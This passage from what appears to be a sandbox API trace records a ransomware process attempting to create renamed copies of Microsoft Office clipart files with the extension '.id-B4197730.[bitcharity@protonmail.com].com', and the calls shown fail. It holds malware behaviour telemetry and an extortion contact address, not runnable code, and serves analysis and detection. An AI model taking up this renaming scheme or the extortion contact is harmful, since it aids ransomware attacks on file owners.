dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0257.022] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02092_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02092_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.023] CloseHandle (hObject=0x1234) returned 1 [0257.023] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0257.024] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0257.024] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02093_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02093_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.024] CloseHandle (hObject=0x1234) returned 1 [0257.025] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0257.025] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0257.026] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02124_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02124_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.026] CloseHandle (hObject=0x1234) returned 1 [0257.028] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0257.028] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0257.028] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02125_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02125_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.028] CloseHandle (hObject=0x1234) returned 1 [0257.991] SetFilePointerEx (in: hFile=0x1284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0257.991] SetFilePointerEx (in: hFile=0x1284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0257.991] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00013_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00013_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.991] CloseHandle (hObject=0x1284) returned 1 [0257.993] SetFilePointerEx (in: hFile=0x1284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0257.993] SetFilePointerEx (in: hFile=0x1284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0257.993] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02293_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02293_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.993] CloseHandle (hObject=0x1284) returned 1 [0257.994] SetFilePointerEx (in: hFile=0x1284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0257.994] SetFilePointerEx (in: hFile=0x1284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0257.994] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02296_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02296_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.995] CloseHandle (hObject=0x1284) returned 1 [0257.996] SetFilePointerEx (in: hFile=0x1284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0257.996] SetFilePointerEx (in: hFile=0x1284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0257.996] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02369_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02369_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.996] CloseHandle (hObject=0x1284) returned 1 [0257.998] SetFilePointerEx (in: hFile=0x1284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0257.998] SetFilePointerEx (in: hFile=0x1284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0257.998] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02522_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02522_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.999] CloseHandle (hObject=0x1284) returned 1 [0258.000] SetFilePointerEx (in: hFile=0x1284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0258.000] SetFilePointerEx (in: hFile=0x1284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0258.000] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02950_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02950_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.000] CloseHandle (hObject=0x1284) returned 1 [0258.002] SetFilePointerEx (in: hFile=0x1284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0258.002] SetFilePointerEx (in: hFile=0x1284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0258.002] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02957_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02957_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.002] CloseHandle (hObject=0x1284) returned 1 [0258.003] SetFilePointerEx (in: hFile=0x1284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0258.004] SetFilePointerEx (in: hFile=0x1284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0258.004] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03236_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03236_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.004] CloseHandle (hObject=0x1284) returned 1 [0258.005] SetFilePointerEx (in: hFile=0x1284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0258.005] SetFilePointerEx (in: hFile=0x1284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0258.005] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03241_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03241_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.009] CloseHandle (hObject=0x1284) returned 1 [0258.011] SetFilePointerEx (in: hFile=0x1284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0258.011] SetFilePointerEx (in: hFile=0x1284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0258.011] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03257_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03257_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.011] CloseHandle (hObject=0x1284) returned 1 [0258.012] SetFilePointerEx (in: hFile=0x1284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0258.012] SetFilePointerEx (in: hFile=0x1284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0258.012] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03331_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03331_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.013] CloseHandle (hObject=0x1284) returned 1 [0258.014] SetFilePointerEx (in: hFile=0x1284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0258.014] SetFilePointerEx (in: hFile=0x1284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0258.014] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03339_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03339_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.014] CloseHandle (hObject=0x1284) returned 1 [0258.015] SetFilePointerEx (in: hFile=0x1284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0258.015] SetFilePointerEx (in: hFile=0x1284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0258.015] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03451_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03451_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.015] CloseHandle (hObject=0x1284) returned 1 [0258.016] SetFilePointerEx (in: hFile=0x1284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0258.016] SetFilePointerEx (in: hFile=0x1284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0258.017] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03453_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03453_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.017] CloseHandle (hObject=0x1284) returned 1 [0258.018] SetFilePointerEx (in: hFile=0x1284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0258.018] SetFilePointerEx (in: hFile=0x1284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0258.018] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03459_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03459_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.019] CloseHandle (hObject=0x1284) returned 1 [0258.020] SetFilePointerEx (in: hFile=0x1284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0258.020] SetFilePointerEx (in: hFile=0x1284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0258.020] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03464_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03464_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.020] CloseHandle (hObject=0x1284) returned 1 [0258.022] SetFilePointerEx (in: hFile=0x1284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0258.022] SetFilePointerEx (in: hFile=0x1284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0258.022] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03466_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03466_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.022] CloseHandle (hObject=0x1284) returned 1 [0258.023] SetFilePointerEx (in: hFile=0x1284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0258.023] SetFilePointerEx (in: hFile=0x1284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0258.023] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03470_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03470_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.023] CloseHandle (hObject=0x1284) returned 1 [0258.025] SetFilePointerEx (in: hFile=0x1284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0258.025] SetFilePointerEx (in: hFile=0x1284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0258.025] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03513_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03513_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.026] CloseHandle (hObject=0x1284) returned 1 [0259.134] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0259.134] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0259.134] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01255G.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01255g.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0259.148] CloseHandle (hObject=0x1068) returned 1 [0261.231] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0261.231] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0261.231] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\RECYCLE.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\recycle.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.682] CloseHandle (hObject=0x1158) returned 1 [0261.686] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0261.686] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0261.686] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00513_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00513_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.686] CloseHandle (hObject=0x1158) returned 1 [0261.687] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0261.687] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0261.688] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00555_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00555_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.688] CloseHandle (hObject=0x1158) returned 1 [0261.688] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0261.689] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0261.689] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00603_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00603_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.689] CloseHandle (hObject=0x1158) returned 1 [0261.690] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0261.690] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0261.690] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00610_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00610_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.691] CloseHandle (hObject=0x1158) returned 1 [0261.692] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0261.692] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0261.693] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00629_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00629_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.694] CloseHandle (hObject=0x1158) returned 1 [0261.695] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0261.695] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0261.695] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00633_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00633_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.695] CloseHandle (hObject=0x1158) returned 1 [0261.696] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0261.697] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0261.697] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00638_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00638_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.697] CloseHandle (hObject=0x1158) returned 1 [0261.699] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0261.699] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0261.699] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 